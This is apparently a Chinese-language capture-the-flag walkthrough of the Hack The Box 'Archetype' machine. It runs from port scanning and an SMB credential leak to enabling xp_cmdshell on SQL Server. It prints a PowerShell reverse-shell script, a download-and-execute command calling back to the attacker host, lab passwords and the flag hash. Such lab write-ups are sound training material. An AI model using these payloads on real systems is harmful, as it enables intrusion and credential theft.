1. hack之sql server

安装kali虚拟机

download kali vbox

vbox导入下载的虚拟机

虚拟机账号密码

kali/kali

开启ssh 22端口

systemctl start ssh

连接vpn

sudo openvpn example.ovpn

example.ovpn为vpn文件,如hackthebox 可在Access > here中下载;如果是Starting Point过程中,在Starting Point -> Show Tutorial -> VPN Connection中可下载对应的vpn文件,值得注意的是Starting Point和Methines中的vpn文件是不同的

扫描sqlserver端口,获取管理员权限

确定扫描的机器 ip

在hackthebox首页 machines中查找某ip ,如10.10.10.27

扫描该机器的端口

kali@kali:~$ nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669

查看对应端口的服务详细信息

> ports=$(nmap -p- --min-rate=1000 -T4  10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
> nmap -sC -sV -p$ports 10.10.10.27 

输出结果

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-04 23:29 EDT
Nmap scan report for bogon (10.10.10.27)
Host is up (0.29s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-08-04T17:53:56
|_Not valid after:  2050-08-04T17:53:56
|_ssl-date: 2020-08-05T03:45:42+00:00; +15m06s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h39m05s, deviation: 3h07m50s, median: 15m05s
| ms-sql-info:
|   10.10.10.27:1433:
|     Version:
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery:
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-08-04T20:45:26-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-08-05T03:45:29
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.37 seconds

根据上述结果发现开放的端口及端口对应的服务等信息;然后我们可以通过smbclient 或其它工具对上述端口实施准确攻击

smbclient

  • 使用smbclient列出可用的共享
smbclient -N -L \\\\10.10.10.27\\

输出内容

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
  • 查看backups目录下的内容
kali@kali:~$ smbclient -N  \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

		10328063 blocks of size 4096. 8249391 blocks available
  • 查看prod.dtsConfig文件内容
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.4 KiloBytes/sec) (average 0.5 KiloBytes/sec)

在本地机器的当前目录下查看prod.dtsConfig文件内容

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

连接数据库

curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py 
sudo python get-pip.py
  • 下载impacket
git clone https://github.com/SecureAuthCorp/impacket.git
  • 安装impacket依赖
    在目录impacket下执行pip install .pip install tox

  • 安装impacket

  • 连接数据库


python3 impacket/examples/mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

输入密码M3g4c0rp123

报错[-] Missing required parameter 'digestmod'.,将impacket分支调整为0.9.21tag版本
再执行./mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth,并输入密码M3g4c0rp123

  • 测试当前用户拥有的权限
SQL> select IS_SRVROLEMEMBER('sysadmin')

-----------
          1

使用IS_SRVROLEMEMBER函数显示当前SQL用户是否在SQL Server上具有sysadmin(最高级别)特权,1表示具有sysadmin特权。

重新对sql server进行配置

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami" 

上述过程使我们能够启用xp_cmdshell并在主机上获得RCE

输出

SQL> xp_cmdshell "whoami"
output

--------------------------------------------------------------------------------

archetype\sql_svc

NULL

whoami命令输出显示SQL Server正在用户ARCHETYPE\sql_svc的上下文中运行。但是,此帐户似乎在主机上没有管理权限。

创建外部机器的权限

  • 在当前vbox机器上创建shell脚本
    在个人服务器上创建shell脚本,命名为shell.ps1,内容如下
 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

  • 在当前目录启动web server
sudo  python3 -m http.server 80
  • 将下述内容保存为shell.ps1文件
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.7",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

修改上述ip为vbox虚拟机ip

  • 通过curl测试访问shell.ps1文件是否正常
curl 127.0.0.1:80/shell.ps1
  • 开放443端口
    开放443端口用于接受xp_cmdshell的请求,在该输入栏中输入命令,则可执行
nc -lvnp 443

如果虚拟中开了防火墙,则使用ufw允许端口80和443上的回调回我们的计算机;没有开防火墙则忽略

ufw allow from 10.10.10.27 proto tcp to any port 80,443 
  • 通过xp_cmdshell下载上述shell并执行
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.7/shell.ps1\");" 

  • vbox虚机中执行命令
    在443端口的控制台中,输入pwd,可正常响应路径。
    在控制台输入type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#  type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
  • vbox虚拟机上登陆服务器10.10.10.27
psexec.py administrator@10.10.10.27  

输入密码MEGACORP_4dm1n!!登陆成功,打开目录C:\Users\Administrator\Desktop,通过dir发现有个文件root.txt,通过type root.txt获取文件内容b91ccec3305e98240082d4474b848528